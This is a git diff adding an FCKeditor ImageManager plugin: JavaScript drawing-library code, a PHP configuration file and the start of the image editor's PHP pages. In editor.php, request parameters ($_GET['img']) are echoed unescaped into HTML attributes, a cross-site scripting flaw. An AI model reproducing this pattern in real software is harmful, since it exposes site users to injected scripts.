+    this.mkDiv(x, y+h, w+s, s);
+    this.mkDiv(x, y+s, s, h-s);
+}
+
+
+
+
+
+function mkRectDott(x, y, w, h)
+{
+    this.drawLine(x, y, x+w, y);
+    this.drawLine(x+w, y, x+w, y+h);
+    this.drawLine(x, y+h, x+w, y+h);
+    this.drawLine(x, y, x, y+h);
+}
+
+
+
+
+
+function jsgFont()
+{
+    this.PLAIN = 'font-weight:normal;';
+    this.BOLD = 'font-weight:bold;';
+    this.ITALIC = 'font-style:italic;';
+    this.ITALIC_BOLD = this.ITALIC + this.BOLD;
+    this.BOLD_ITALIC = this.ITALIC_BOLD;
+}
+var Font = new jsgFont();
+
+
+
+
+
+function jsgStroke()
+{
+    this.DOTTED = -1;
+}
+var Stroke = new jsgStroke();
+
+
+
+
+
+function jsGraphics(id, wnd)
+{
+    this.setColor = new Function('arg', 'this.color = arg;');
+
+
+    this.getColor = new Function('return this.color');
+
+    this.setStroke = function(x)
+    {
+        this.stroke = x;
+        if (!(x+1))
+        {
+            this.drawLine = mkLinDott;
+            this.mkOv = mkOvDott;
+            this.drawRect = mkRectDott;
+        }
+        else if (x-1 > 0)
+        {
+            this.drawLine = mkLin2D;
+            this.mkOv = mkOv2D;
+            this.drawRect = mkRect;
+        }
+        else
+        {
+            this.drawLine = mkLin;
+            this.mkOv = mkOv;
+            this.drawRect = mkRect;
+        }
+    };
+
+
+
+    this.setPrintable = function(arg)
+    {
+        this.printable = arg;
+        this.mkDiv = jg_n4? mkLyr : arg? mkDivPrint : mkDiv;
+    };
+
+
+
+    this.setFont = function(fam, sz, sty)
+    {
+        this.ftFam = fam;
+        this.ftSz = sz;
+        this.ftSty = sty || Font.PLAIN;
+    };
+
+
+
+    this.drawPolyline = this.drawPolyLine = function(x, y, s)
+    {
+        var i = x.length-1; while (i >= 0)
+            this.drawLine(x[i], y[i], x[--i], y[i]);
+    };
+
+
+
+    this.fillRect = function(x, y, w, h)
+    {
+        this.mkDiv(x, y, w, h);
+    };
+
+
+    this.fillRectPattern = function(x, y, w, h, url)
+    {
+        this.htm += '<div style="position:absolute;'+
+            'left:' + x + 'px;'+
+            'top:' + y + 'px;'+
+            'width:' + w + 'px;'+
+            'height:' + h + 'px;'+
+            'clip:rect(0,'+w+'px,'+h+'px,0);'+
+            'overflow:hidden;'+
+            //'background-color:' + this.color + ';'+
+            "background-image: url('" + url + "');"+
+            "layer-background-image: url('" + url + "');"+
+            'z-index:100;"><\/div>';
+        //alert(this.htm);
+    }
+
+    this.drawHandle = function(x, y, w, h, cursor)
+    {
+        
+        this.htm += '<div style="position:absolute;'+
+        'left:' + x + 'px;'+
+        'top:' + y + 'px;'+
+        'width:' + w + 'px;'+
+        'height:' + h + 'px;'+
+        'clip:rect(0,'+w+'px,'+h+'px,0);'+
+        'padding: 2px;overflow:hidden;'+
+        "cursor: '" + cursor + "';"+
+        '" class="handleBox" id="' + cursor + '" ><\/div>';
+    }
+
+    this.drawHandleBox = function(x, y, w, h, cursor)
+    {
+        
+        this.htm += '<div style="position:absolute;'+
+        'left:' + x + 'px;'+
+        'top:' + y + 'px;'+
+        'width:' + w + 'px;'+
+        'height:' + h + 'px;'+
+        'clip:rect(0,'+(w+2)+'px,'+(h+2)+'px,0);'+
+        'overflow:hidden; border: solid 1px '+ this.color+';'+
+        "cursor: '" + cursor + "';"+
+        '" class="handleBox" id="' + cursor + '" ><\/div>';
+
+        
+    }
+
+    this.drawPolygon = function(x, y)
+    {
+        this.drawPolyline(x, y);
+        this.drawLine(x[x.length-1], y[x.length-1], x[0], y[0]);
+    };
+
+
+
+    this.drawEllipse = this.drawOval = function(x, y, w, h)
+    {
+        this.mkOv(x, y, w, h);
+    };
+
+
+
+    this.fillEllipse = this.fillOval = function(left, top, w, h)
+    {
+        var a = (w -= 1)>>1, b = (h -= 1)>>1,
+        wod = (w&1)+1, hod = (h&1)+1,
+        cx = left+a, cy = top+b,
+        x = 0, y = b,
+        ox = 0, oy = b,
+        aa2 = (a*a)<<1, aa4 = aa2<<1, bb = (b*b)<<1,
+        st = (aa2>>1)*(1-(b<<1)) + bb,
+        tt = (bb>>1) - aa2*((b<<1)-1),
+        pxl, dw, dh;
+        if (w+1) while (y > 0)
+        {
+            if (st < 0)
+            {
+                st += bb*((x<<1)+0x3);
+                tt += (bb<<1)*(++x);
+            }
+            else if (tt < 0)
+            {
+                st += bb*((x<<1)+0x3) - aa4*(y-1);
+                pxl = cx-x;
+                dw = (x<<1)+wod;
+                tt += (bb<<1)*(++x) - aa2*(((y--)<<1)-0x3);
+                dh = oy-y;
+                this.mkDiv(pxl, cy-oy, dw, dh);
+                this.mkDiv(pxl, cy+oy-dh+hod, dw, dh);
+                ox = x;
+                oy = y;
+            }
+            else
+            {
+                tt -= aa2*((y<<1)-0x3);
+                st -= aa4*(--y);
+            }
+        }
+        this.mkDiv(cx-a, cy-oy, w+1, (oy<<1)+hod);
+    };
+
+
+
+    this.drawString = mkLbl;
+
+
+
+    this.clear = function()
+    {
+        this.htm = "";
+        if (this.cnv) this.cnv.innerHTML = this.defhtm;
+        
+    };
+
+
+
+    this.mkOvQds = function(cx, cy, xl, xr, yt, yb, w, h)
+    {
+        this.mkDiv(xr+cx, yt+cy, w, h);
+        this.mkDiv(xr+cx, yb+cy, w, h);
+        this.mkDiv(xl+cx, yb+cy, w, h);
+        this.mkDiv(xl+cx, yt+cy, w, h);
+    };
+
+
+    this.setStroke(1);
+    this.setPrintable(false);
+    this.setFont('verdana,geneva,helvetica,sans-serif', String.fromCharCode(0x31, 0x32, 0x70, 0x78), Font.PLAIN);
+    this.color = '#000000';
+    this.htm = '';
+    this.wnd = wnd || window;
+
+
+    if (!(jg_ie || jg_dom || jg_ihtm)) chkDHTM();
+    if (typeof id != 'string' || !id) this.paint = pntDoc;
+    else
+    {
+        this.cnv = document.all? (this.wnd.document.all[id] || null)
+            : document.getElementById? (this.wnd.document.getElementById(id) || null)
+            : null;
+        this.defhtm = (this.cnv && this.cnv.innerHTML)? this.cnv.innerHTML : '';
+        this.paint = jg_dom? pntCnvDom : jg_ie? pntCnvIe : jg_ihtm? pntCnvIhtm : pntCnv;
+    }
+}
diff --git a/fckeditor/editor/plugins/ImageManager/config.inc.php b/fckeditor/editor/plugins/ImageManager/config.inc.php
new file mode 100755 (executable)
index 0000000..3bd2c93
--- /dev/null
@@ -0,0 +1,193 @@
+<?php
+/**
+ * Image Manager configuration file.
+ * @author Wei Zhuo
+ * @author Paul Moers <mail@saulmade.nl> - watermarking and replace code + several small enhancements <http://fckplugins.saulmade.nl>
+ * @version $Id: config.inc.php,v 1.1.1.1 2009/12/18 17:47:01 matrix Exp $
+ * @package ImageManager
+ */
+include('../../../../setup.phtml');
+
+/* 
+ File system path to the directory you want to manage the images
+ for multiple user systems, set it dynamically.
+
+ NOTE: This directory requires write access by PHP. That is, 
+       PHP must be able to create files in this directory.
+          Able to create directories is nice, but not necessary.
+*/
+$IMConfig['base_dir'] = BASE.'images/ht_images/';
+
+/*
+ The URL to the above path, the web browser needs to be able to see it.
+ It can be protected via .htaccess on apache or directory permissions on IIS,
+ check you web server documentation for futher information on directory protection
+ If this directory needs to be publicly accessiable, remove scripting capabilities
+ for this directory (i.e. disable PHP, Perl, CGI). We only want to store assets
+ in this directory and its subdirectories.
+*/
+$IMConfig['base_url'] = BASE_URL.'images/ht_images/';
+
+$IMConfig['server_name'] = $_SERVER['SERVER_NAME'];
+
+/*
+ demo - when true, no saving is allowed
+*/
+$IMConfig['demo'] = false;
+
+/*
+
+  Possible values: true, false
+
+  TRUE - If PHP on the web server is in safe mode, set this to true.
+         SAFE MODE restrictions: directory creation will not be possible,
+                only the GD library can be used, other libraries require
+                Safe Mode to be off.
+
+  FALSE - Set to false if PHP on the web server is not in safe mode.
+*/
+$IMConfig['safe_mode'] = false;
+
+/* 
+ Possible values: 'GD', 'IM', or 'NetPBM'
+
+ The image manipulation library to use, either GD or ImageMagick or NetPBM.
+ If you have safe mode ON, or don't have the binaries to other packages, 
+ your choice is 'GD' only. Other packages require Safe Mode to be off.
+*/
+define('IMAGE_CLASS', 'IM');
+
+
+/*
+ After defining which library to use, if it is NetPBM or IM, you need to
+ specify where the binary for the selected library are. And of course
+ your server and PHP must be able to execute them (i.e. safe mode is OFF).
+ GD does not require the following definition.
+*/
+define('IMAGE_TRANSFORM_LIB_PATH', '/usr/bin/');
+
+
+/* ==============  OPTIONAL SETTINGS ============== */
+
+
+/*
+  The prefix for thumbnail files, something like .thumb will do. The
+  thumbnails files will be named as "prefix_imagefile.ext", that is,
+  prefix + orginal filename.
+*/
+$IMConfig['thumbnail_prefix'] = '.';
+
+/*
+  Thumbnail can also be stored in a directory, this directory
+  will be created by PHP. If PHP is in safe mode, this parameter
+  is ignored, you can not create directories. 
+
+  If you do not want to store thumbnails in a directory, set this
+  to false or empty string '';
+*/
+$IMConfig['thumbnail_dir'] = '.thumbs';
+
+/*
+  Possible values: true, false
+
+ TRUE -  Allow the user to create new sub-directories in the
+         $IMConfig['base_dir'].
+
+ FALSE - No directory creation.
+
+ NOTE: If $IMConfig['safe_mode'] = true, this parameter
+       is ignored, you can not create directories
+*/
+$IMConfig['allow_new_dir'] = true;
+
+/*
+  Possible values: true, false
+
+  TRUE - Allow the user to upload files.
+
+  FALSE - No uploading allowed.
+*/
+$IMConfig['allow_upload'] = true;
+
+/*
+  Possible values: true, false
+
+  TRUE - Allow the replacement of the image with a newly uploaded image in the editor dialog.
+
+  FALSE - No replacing allowed.
+*/
+$IMConfig['allow_replace'] = true;
+
+/*
+  Possible values: true, false
+
+  TRUE - Allow the deletion of images
+
+  FALSE - No deleting allowed
+*/
+$IMConfig['allow_delete'] = true;
+
+/*
+  Possible values: true, false
+
+  TRUE - Allow the user to enter a new filename for saving the edited image.
+
+  FALSE - Overwrite
+*/
+$IMConfig['allow_newFileName'] = true;
+
+/*
+  Possible values: true, false
+  Only applies when the the user can enter a new filename (The baove settig = 'allow_newFileName' true)
+
+  TRUE - Overwrite file of entered filename, if file already exist.
+
+  FALSE - Save to variant of entered filename, if file already exist.
+*/
+$IMConfig['allow_overwrite'] = true;
+
+/*
+  Specify the paths of the watermarks to use (relative to $IMConfig['base_dir']).
+  Specifying none will hide watermarking functionality.
+*/
+$IMConfig['watermarks'] = array        (
+                                                                                                       "imageManager.png"
+                                                                                               );
+
+/*
+       To limit the width and height for uploaded files, specify the maximum pixeldimensions.
+       Setting either zero or empty will allow any size.
+*/
+$IMConfig['maxWidth'] = 640;
+$IMConfig['maxHeight'] = '';
+
+/*
+ Possible values: true, false
+
+ TRUE - If set to true, uploaded files will be validated based on the 
+        function getImageSize, if we can get the image dimensions then 
+        I guess this should be a valid image. Otherwise the file will be rejected.
+
+ FALSE - All uploaded files will be processed.
+
+ NOTE: If uploading is not allowed, this parameter is ignored.
+*/
+$IMConfig['validate_images'] = true;
+
+/*
+ The default thumbnail if the thumbnails can not be created, either
+ due to error or bad image file.
+*/
+$IMConfig['default_thumbnail'] = 'img/default.gif';
+
+/*
+  Thumbnail dimensions.
+*/
+$IMConfig['thumbnail_width'] = 96;
+$IMConfig['thumbnail_height'] = 96;
+
+/*
+  Image Editor temporary filename prefix.
+*/
+$IMConfig['tmp_prefix'] = '.editor_';
+?>
diff --git a/fckeditor/editor/plugins/ImageManager/editor.php b/fckeditor/editor/plugins/ImageManager/editor.php
new file mode 100755 (executable)
index 0000000..a2c3e61
--- /dev/null
@@ -0,0 +1,295 @@
+<?php
+/**
+ * The PHP Image Editor user interface.
+ * @author Wei Zhuo
+ * @author Paul Moers <mail@saulmade.nl> - watermarking and replace code + several small enhancements <http://fckplugins.saulmade.nl>
+ * @version $Id: editor.php,v 1.1.1.1 2009/12/18 17:47:01 matrix Exp $
+ * @package ImageManager
+ */
+
+require_once('config.inc.php');
+require_once('Classes/ImageManager.php');
+require_once('Classes/ImageEditor.php');
+
+$manager = new ImageManager($IMConfig);
+$editor = new ImageEditor($manager, $IMConfig);
+
+?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+
+<html>
+<head>
+<title>edit image</title>
+<link href="assets/editor.css" rel="stylesheet" type="text/css" />     
+
+<script type="text/javascript">
+/*<![CDATA[*/
+
+       window.resizeTo(673, 531);
+
+       // find language object
+       if(window.opener)
+       {
+               if (window.opener.I18N)
+               {
+                       I18N = window.opener.I18N;
+               }
+               // direct edit
+               else if (window.opener.ImageManager && window.opener.ImageManager.I18N)
+               {
+                       I18N = window.opener.ImageManager.I18N;
+               }
+       }
+
+       // language object not found?
+       if (!this.I18N)
+       {
+               // Read it now - copy in next script block
+               document.write('<script type="text/javascript" src="lang/' + window.opener._editor_lang + '.js"><\/script>');
+       }
+
+/*]]>*/
+</script>
+
+<script type="text/javascript">
+/*<![CDATA[*/
+
+       // now copy the language object of the included script - needed a seperate new script block to be able to do so
+       if (!this.I18N)
+       {
+               I18N = this.ImageManager.I18N;
+       }
+
+/*]]>*/
+</script>
+
+<script type="text/javascript" src="assets/slider.js"></script>
+<script type="text/javascript" src="assets/popup.js"></script>
+<script type="text/javascript" src="assets/editor.js"></script>
+
+</head>
+
+<body>
+<div id="indicator">
+<img src="img/spacer.gif" id="indicator_image" height="20" width="20" alt="" />
+</div>
+<div id="tools">
+       <div id="tools_replace" style="display:none;">
+               <div id="tool_inputs">
+               <table>
+               <tr>
+                       <td>
+                               <form action="editorFrame.php?img=<?php echo $_GET['img']?>&action=replace" target='editor' id="uploadForm" method="post" enctype="multipart/form-data">
+                                       &nbsp;<input type="file" name="upload" id="upload"/>
+                                       <input type="hidden" name="dir" id="dir" value="<?php echo dirname($_GET['img'])?>" />
+                               </form>
+                       </td>
+                       <td>
+                               <img src="img/div.gif" height="30" width="2" class="div" alt="|" />
+                       </td>
+               </tr>
+               </table>
+               </div>  
+               <a href="javascript: doUpload(); document.getElementById('uploadForm').submit();" class="buttons" title="OK"><img src="img/btn_ok.gif" height="30" width="30" alt="OK" /></a>
+       </div>  
+       <div id="tools_watermark" style="display:none;">
+               <div id="watermarkControls">
+                       <div id="tool_inputs">
+                               <label for="watermark_file">Watermark</label>: <select name="watermark_file" id="watermark_file" style="vertical-align: middle;" onchange="changeWatermark(this)"><!-- populated in editorFrame.php --></select>
+
+                               <label style="margin-left: 15px;">Opacity:</label>
+                               <table style="display: inline; vertical-align: middle;" cellpadding="0" cellspacing="0">
+                                       <tr>
+                                       <td>
+                                               <div id="slidercasingwatermark" class="slidercasing"> 
+                                       <div id="slidertrackwatermark" class="slidertrack" style="width:100px"><img src="img/spacer.gif" width="1" height="1" border="0" alt="track"></div>
+                               <div id="sliderbarwatermark" class="sliderbar" style="left:100px" onmousedown="captureStart('watermark');"><img src="img/spacer.gif" width="1" height="1" border="0" alt="track"></div>
+                               </div>  
+                                       </td>
+                                       </tr>
+                               </table>                                
+                               <input type="text" id="sliderfieldwatermark" onchange="updateSlider(this.value, 'watermark')" style="width: 2em;" value="100"/>
+                               <table style="display: inline; vertical-align: bottom; margin: 0px 5px 0px 20px;" cellpadding="0" cellspacing="0">
+                                       <tr>
+                                       <td>
+                                               <div style="cursor: pointer; cursor: hand; background-image: url(img/watermarkAlign.gif); vertical-align: middle; width: 24px; height: 24px; position: relative;">
+                                                       <div style="position: absolute; left: 1px; top: 1px; width: 4px; height: 4px; overflow: hidden;" onmouseover="this.style.backgroundColor='#BE3545'" onmouseout="this.style.backgroundColor='transparent'" onclick="moveWatermark(0, 0);"></div>
+                                                       <div style="position: absolute; left: 10px; top: 1px; width: 4px; height: 4px; overflow: hidden;" onmouseover="this.style.backgroundColor='#BE3545'" onmouseout="this.style.backgroundColor='transparent'" onclick="moveWatermark(0.5, 0);"></div>
+                                                       <div style="position: absolute; left: 19px; top: 1px; width: 4px; height: 4px; overflow: hidden;" onmouseover="this.style.backgroundColor='#BE3545'" onmouseout="this.style.backgroundColor='transparent'" onclick="moveWatermark(1, 0);"></div>
+                                                       <div style="position: absolute; left: 1px; top: 10px; width: 4px; height: 4px; overflow: hidden;" onmouseover="this.style.backgroundColor='#BE3545'" onmouseout="this.style.backgroundColor='transparent'" onclick="moveWatermark(0, 0.5);".5></div>
+                                                       <div style="position: absolute; left: 10px; top: 10px; width: 4px; height: 4px; overflow: hidden;" onmouseover="this.style.backgroundColor='#BE3545'" onmouseout="this.style.backgroundColor='transparent'" onclick="moveWatermark(0.5, 0.5);"></div>
+                                                       <div style="position: absolute; left: 19px; top: 10px; width: 4px; height: 4px; overflow: hidden;" onmouseover="this.style.backgroundColor='#BE3545'" onmouseout="this.style.backgroundColor='transparent'" onclick="moveWatermark(1, 0.5);"></div>
+                                                       <div style="position: absolute; left: 1px; top: 19px; width: 4px; height: 4px; overflow: hidden;" onmouseover="this.style.backgroundColor='#BE3545'" onmouseout="this.style.backgroundColor='transparent'" onclick="moveWatermark(0, 1);"></div>
+                                                       <div style="position: absolute; left: 10px; top: 19px; width: 4px; height: 4px; overflow: hidden;" onmouseover="this.style.backgroundColor='#BE3545'" onmouseout="this.style.backgroundColor='transparent'" onclick="moveWatermark(0.5, 1);"></div>
+                                                       <div style="position: absolute; left: 19px; top: 19px; width: 4px; height: 4px; overflow: hidden;" onmouseover="this.style.backgroundColor='#BE3545'" onmouseout="this.style.backgroundColor='transparent'" onclick="moveWatermark(1, 1);"></div>
+                                               </div>
+                                       </td>
+                                       </tr>
+                               </table>                
+                               <table style="display: inline; vertical-align: bottom; margin: 0px 10px 0px 5px;" cellpadding="0" cellspacing="0">
+                                       <tr>
+                                       <td>
+                                               <div style="cursor: pointer; cursor: hand; background-image: url(img/watermarkColor.gif); vertical-align: middle; width: 18px; height: 26px; position: relative;">
+                                                       <div style="position: absolute; left: 1px; top: 1px; width: 6px; height: 3px; overflow: hidden;" onclick="colorWatermarkBG('');"></div>
+                                                       <div style="position: absolute; left: 11px; top: 1px; width: 6px; height: 3px; overflow: hidden;" onclick="colorWatermarkBG('grid');"></div>
+                                                       <div style="position: absolute; left: 1px; top: 8px; width: 6px; height: 3px; overflow: hidden;" onmouseover="this.style.backgroundColor='#FFFFFF'" onmouseout="this.style.backgroundColor='transparent'" onclick="colorWatermarkBG('#FFFFFF');"></div>
+                                                       <div style="position: absolute; left: 11px; top: 8px; width: 6px; height: 3px; overflow: hidden;" onmouseover="this.style.backgroundColor='#000000'" onmouseout="this.style.backgroundColor='transparent'" onclick="colorWatermarkBG('#000000');"></div>
+                                                       <div style="position: absolute; left: 1px; top: 15px; width: 6px; height: 3px; overflow: hidden;" onmouseover="this.style.backgroundColor='#FF0000'" onmouseout="this.style.backgroundColor='transparent'" onclick="colorWatermarkBG('#FF0000');"></div>
+                                                       <div style="position: absolute; left: 11px; top: 15px; width: 6px; height: 3px; overflow: hidden;" onmouseover="this.style.backgroundColor='#00FF00'" onmouseout="this.style.backgroundColor='transparent'" onclick="colorWatermarkBG('#00FF00');"></div>
+                                                       <div style="position: absolute; left: 1px; top: 22px; width: 6px; height: 3px; overflow: hidden;" onmouseover="this.style.backgroundColor='#0000FF'" onmouseout="this.style.backgroundColor='transparent'" onclick="colorWatermarkBG('#0000FF');"></div>
+                                                       <div style="position: absolute; left: 11px; top: 22px; width: 6px; height: 3px; overflow: hidden;" onmouseover="this.style.backgroundColor='#FFFF00'" onmouseout="this.style.backgroundColor='transparent'" onclick="colorWatermarkBG('#FFFF00');"></div>
+                                               </div>
+                                       </td>
+                                       </tr>
+                               </table>                
+                               <img src="img/div.gif" height="30" width="2" class="div" alt="|" />
+                       </div>  
+                       <a href="javascript: editor.doSubmit('watermark');" class="buttons" title="OK"><img src="img/btn_ok.gif" height="30" width="30" alt="OK" /></a>
+               </div>  
+               <div id="watermarkMessage" style="display: none;">
+                       <script>document.write("<div id=\"tool_inputs\" style=\"text-align: center; width: 90%; color: #474767;\"><label style=\" font-weight: bold; letter-spacing: 3px;\">" + i18n("Watermarking is disabled.") + "</label><br /><label>" + i18n("No watermarks were found or all watermarks are to big for the target image.") + "</label></div>");</script>
+               </div>  
+       </div>  
+       <div id="tools_crop" style="display:none;">
+               <div id="tool_inputs">
+                       <label for="cx">Start X:</label><input type="text" id="cx"  class="textInput" onchange="updateMarker('crop')"/>
+                       <label for="cy">Start Y:</label><input type="text" id="cy" class="textInput" onchange="updateMarker('crop')"/>
+                       <label for="cw">Width:</label><input type="text" id="cw" class="textInput" onchange="updateMarker('crop')"/>
+                       <label for="ch">Height:</label><input type="text" id="ch" class="textInput" onchange="updateMarker('crop')"/>
+                       <img src="img/div.gif" height="30" width="2" class="div" alt="|" />
+               </div>  
+               <a href="javascript: editor.doSubmit('crop');" class="buttons" title="OK"><img src="img/btn_ok.gif" height="30" width="30" alt="OK" /></a>
+               <a href="javascript: editor.reset();" class="buttons" title="Cancel"><img src="img/btn_cancel.gif" height="30" width="30" alt="Cancel" /></a>           
+       </div>  
+       <div id="tools_scale" style="display:none;">
+               <div id="tool_inputs">
+                       <label for="sw">Width:</label><input type="text" id="sw" class="textInput" onchange="checkConstrains('width')"/>
+                       <a href="javascript:toggleConstraints();" title="Lock"><img src="img/islocked2.gif" id="scaleConstImg" height="14" width="8" alt="Lock" class="div" /></a><label for="sh">Height:</label>
+                       <input type="text" id="sh" class="textInput" onchange="checkConstrains('height')"/>
+                       <input type="checkbox" id="constProp" value="1" checked="checked" onclick="toggleConstraints()"/>
+                       <label for="constProp">Constrain Proportions</label>
+                       <img src="img/div.gif" height="30" width="2" class="div" alt="|" />
+               </div>  
+               <a href="javascript: editor.doSubmit('scale');" class="buttons" title="OK"><img src="img/btn_ok.gif" height="30" width="30" alt="OK" /></a>
+               <a href="javascript: editor.reset();" class="buttons" title="Cancel"><img src="img/btn_cancel.gif" height="30" width="30" alt="Cancel" /></a>           
+       </div>  
+       <div id="tools_rotate" style="display:none;">
+               <div id="tool_inputs">
+                       <select id="flip" name="flip" style="margin-left: 10px; vertical-align: middle;">
+              <option selected>Flip Image</option>
+              <option>-----------------</option>
+              <option value="hoz">Flip Horizontal</option>
+              <option value="ver">Flip Virtical</option>
+         </select>
+                       <select name="rotate" onchange="rotatePreset(this)" style="margin-left: 20px; vertical-align: middle;">
+              <option selected>Rotate Image</option>
+              <option>-----------------</option>
+
+              <option value="180">Rotate 180 &deg;</option>
+              <option value="90">Rotate 90 &deg; CW</option>
+              <option value="-90">Rotate 90 &deg; CCW</option>
+         </select>
+                       <label for="ra">Angle:</label><input type="text" id="ra" class="textInput" value="0"/>
+                       <img src="img/div.gif" height="30" width="2" class="div" alt="|" />
+               </div>  
+               <a href="javascript: editor.doSubmit('rotate');" class="buttons" title="OK"><img src="img/btn_ok.gif" height="30" width="30" alt="OK" /></a>
+       </div>          
+       <div id="tools_measure" style="display:none;">
+               <div id="tool_inputs">
+                       <label id="xLabel">X:<input type="text" class="measureStats" id="sx" disabled /></label>
+                       <label id="yLabel">Y:<input type="text" class="measureStats" id="sy" disabled /></label>
+                       <img src="img/div.gif" height="30" width="2" class="div" alt="|" />
+                       <label id="widthLabel">W:<input type="text" class="measureStats" id="mw" disabled /></label>
+                       <label id="heightLabel">H:<input type="text" class="measureStats" id="mh" disabled /></label>
+                       <img src="img/div.gif" height="30" width="2" class="div" alt="|" />
+                       <label id="angleLabel">A:<input type="text" class="measureStats" id="ma" disabled /></label>
+                       <label id="diagonalLabel">D:<input type="text" class="measureStats" id="md" disabled /></label>
+                       <img src="img/div.gif" height="30" width="2" class="div" alt="|" />
+                       <button type="button" onclick="editor.reset();" >Clear</button>
+
+                       <script>
+                               document.getElementById("xLabel").title = i18n("start x coordinate");
+                               document.getElementById("yLabel").title = i18n("start y coordinate");
+                               document.getElementById("widthLabel").title = i18n("width");
+                               document.getElementById("heightLabel").title = i18n("height");
+                               document.getElementById("angleLabel").title = i18n("angle");
+                               document.getElementById("diagonalLabel").title = i18n("diagonal length");
+                       </script>
+               </div>  
+       </div>
+       <div id="tools_save" style="display:none;">
+
+<?php if($IMConfig['demo'] != true) { ?>
+
+               <div id="tool_inputs">
+
+       <?php if($IMConfig['allow_newFileName'] == true) { ?>
+                       <label for="save_filename">Filename:</label><input type="text" id="save_filename" value="<?php if($IMConfig['allow_overwrite'] == false){ echo $editor->getDefaultSaveFile(); }else{ echo basename($_GET['img']); } ?>" />
+       <?php }else{ ?>
+                       <input type="hidden" id="save_filename" value="<?php echo basename($_GET['img']); ?>" />
+       <?php } ?>
+
+       <?php
+       $pos = strrpos($_GET['img'], ".");
+       $ext = substr($_GET['img'], $pos + 1);
+       ?>
+                       <select name="format" id="save_format" style="margin-left: 10px; vertical-align: middle; <?php if($IMConfig['allow_newFileName'] != true && $ext != "jpg" && $ext != "jpeg") {echo "display: none;";} ?>" onchange="updateFormat(this)">
+            <option value="" selected>Image Format</option>
+            <option value="">---------------------</option>
+            <option value="jpeg,85">JPEG High</option>
+            <option value="jpeg,60">JPEG Medium</option>
+            <option value="jpeg,35">JPEG Low</option>
+                       <?php if($IMConfig['allow_newFileName'] == true){ ?>
+            <option value="png">PNG</option>
+                       <?php    if($editor->isGDGIFAble() != -1) { ?>
+            <option value="gif">GIF</option>
+                       <?php    } ?>
+                       <?php } ?>
+                       </select>
+
+                       <label>Quality:</label>
+                       <table style="display: inline; vertical-align: middle;" cellpadding="0" cellspacing="0">
+                               <tr>
+                               <td>
+                                       <div id="slidercasingsave" class="slidercasing"> 
+                               <div id="slidertracksave" class="slidertrack" style="width:100px"><img src="img/spacer.gif" width="1" height="1" border="0" alt="track"></div>
+            <div id="sliderbarsave" class="sliderbar" style="left:85px" onmousedown="captureStart('save');"><img src="img/spacer.gif" width="1" height="1" border="0" alt="track"></div>
+                       </div>  
+                               </td>
+                               </tr>
+                       </table>                                
+                       <input type="text" id="sliderfieldsave" onchange="updateSlider(this.value, 'save')" style="width: 2em;" value="85"/>
+                       <img src="img/div.gif" height="30" width="2" class="div" alt="|" />
+               </div>  
+               <a href="javascript: editor.doSubmit('save');" class="buttons" title="OK"><img src="img/btn_ok.gif" height="30" width="30" alt="OK" /></a>
+
+       <?php }else{ ?>
+
+               <div id="tool_inputs" style="text-align: center; width: 90%; font-size: 150%; font-weight: bold; letter-spacing: 3px; color: #474767;">
+                       <label>Demo</label>
+               </div>  
+
+       <?php } ?>
+
+       </div>  
+</div>
+<div id="toolbar">
+       <div id="buttons">
+
+               <a href="javascript:toggle('replace')" id="icon_replace" title="Replace" <?php if($IMConfig['allow_replace'] == false) { echo "style=\"display: none;\""; } ?> ><img src="img/replace.gif" height="20" width="20" alt="Replace" /><span>Replace</span></a>
+               <a href="javascript:toggle('watermark')" id="icon_watermark" title="Watermark" <?php if(empty($IMConfig['watermarks'])) { echo "style=\"display: none;\""; } ?> ><img src="img/watermark.gif" height="20" width="20" alt="Watermark" /><span>Watermark</span></a>
+               <a href="javascript:toggle('crop')" id="icon_crop" title="Crop"><img src="img/crop.gif" height="20" width="20" alt="Crop" /><span>Crop</span></a>
+               <a href="javascript:toggle('scale')" id="icon_scale" title="Resize"><img src="img/scale.gif" height="20" width="20" alt="Resize" /><span>Resize</span></a>
+               <a href="javascript:toggle('rotate')" id="icon_rotate" title="Rotate"><img src="img/rotate.gif" height="20" width="20" alt="Rotate" /><span>Rotate</span></a>
+               <a href="javascript:toggle('measure')" id="icon_measure" title="Measure"><img src="img/measure.gif" height="20" width="20" alt="Measure" /><span>Measure</span></a>
+               <a href="javascript: toggleMarker();" title="Marker"><img id="markerImg" src="img/t_black.gif" height="20" width="20" alt="Marker" /><span>Marker</span></a>
+               <a href="javascript:toggle('save')" id="icon_save" title="Save"><img src="img/save.gif" height="20" width="20" alt="Save" /><span>Save</span></a>
+       </div>
+</div>
+<div id="contents">
+<div id="messages" style="display: none;"><span id="message"></span><img SRC="img/dots.gif" width="22" height="12" alt="..." /></div>
+<iframe src="editorFrame.php?img=<?php if(isset($_GET['img'])) echo rawurlencode($_GET['img']); ?>" name="editor" id="editor" scrolling="auto" title="Image Editor" frameborder="0"></iframe>
+</div>
+<div id="bottom"></div>
+</body>
+</html>
diff --git a/fckeditor/editor/plugins/ImageManager/editorFrame.php b/fckeditor/editor/plugins/ImageManager/editorFrame.php
new file mode 100755 (executable)
index 0000000..50031a4
--- /dev/null
@@ -0,0 +1,315 @@
+<?php
+       /**
+        * The frame that contains the image to be edited.
+        * @author Wei Zhuo
+        * @author Paul Moers <mail@saulmade.nl> - watermarking and replace code + several small enhancements <http://fckplugins.saulmade.nl>
+        * @version $Id: editorFrame.php,v 1.1.1.1 2009/12/18 17:47:01 matrix Exp $
+        * @package ImageManager
+        */
+
+       require_once('config.inc.php');
+       require_once('Classes/ImageManager.php');
+       require_once('Classes/ImageEditor.php');
+
+       //default path is /
+       $relative = '/';
+
+       $manager = new ImageManager($IMConfig);
+       $editor = new ImageEditor($manager);
+
+       // process any uploaded files
+       $imageRelative = $manager->processUploads();
+
+       // get image info and process any action
+       $imageInfo = $editor->processImage($imageRelative);
+
+?>
+<!--[if IE]>
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
+<![endif]-->
+<html>
+<head>
+<title></title>
+<link href="assets/editorFrame.css" rel="stylesheet" type="text/css" />
+<script type="text/javascript" src="assets/wz_jsgraphics.js"></script>
+<script type="text/javascript" src="assets/wz_dragdrop.js"></script>
+<script type="text/javascript" src="assets/EditorContent.js"></script>
+<script type="text/javascript" src="assets/editorFrame.js"></script>
+
+<style>
+
+       /* for centering the image vertically in IE */
+       html, body
+       {
+               height: 100%;
+       }
+
+</style>
+
+<script type="text/javascript">
+// <![CDATA[
+
